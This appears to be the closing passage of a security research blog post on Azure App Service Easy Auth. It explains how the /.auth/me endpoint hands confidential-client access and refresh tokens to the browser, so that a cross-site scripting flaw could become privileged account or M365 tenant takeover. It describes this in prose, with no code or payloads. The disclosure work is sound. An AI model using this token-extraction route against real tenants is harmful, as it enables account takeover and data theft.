This should not be necessary, because the user's browser authenticates to the application via a cookie or a secondary JWT token. The web app calls the backend API on behalf of the user, which is what OAuth2 was designed for - the resource owner (user) consents to a client app (Easy Auth app) to access the resource owner's protected resources (Backend API).
By returning the confidential client's access tokens and refresh tokens back to the user's browser, we break the security model of a confidential client. Microsoft even has documentation stating that this should never be done for security purposes:
A concrete example of how this could cause catastrophy is a cross-site scripting vulnerability on an app with Easy Auth and privileged Graph API permissions. Because of the /.auth/me endpoint, a cross-site scripting vulnerability could be turned into a privileged account takeover, and in the worst case a full M365 tenant takeover if the Graph API permissions are privileged enough.
Closing thoughts and additional abuse vectors
This post documents how Easy Auth works, and how to abuse it to extract access tokens for end users.
This is so far the only practical method I know of that can be used to abuse delegated permissions on a service principal, outside of phishing. However, I am confident that there are many other ways to do so, and anticipate further research on the topic.
There are plenty of other security considerations in Easy Auth that arent discussed in this post. For example, which clients and tenants can log in to the app? These considerations arent covered here, and pose additional questions about how tokens are handled and authorization flows are implemented. As additional research, these may be interesting configurations to review.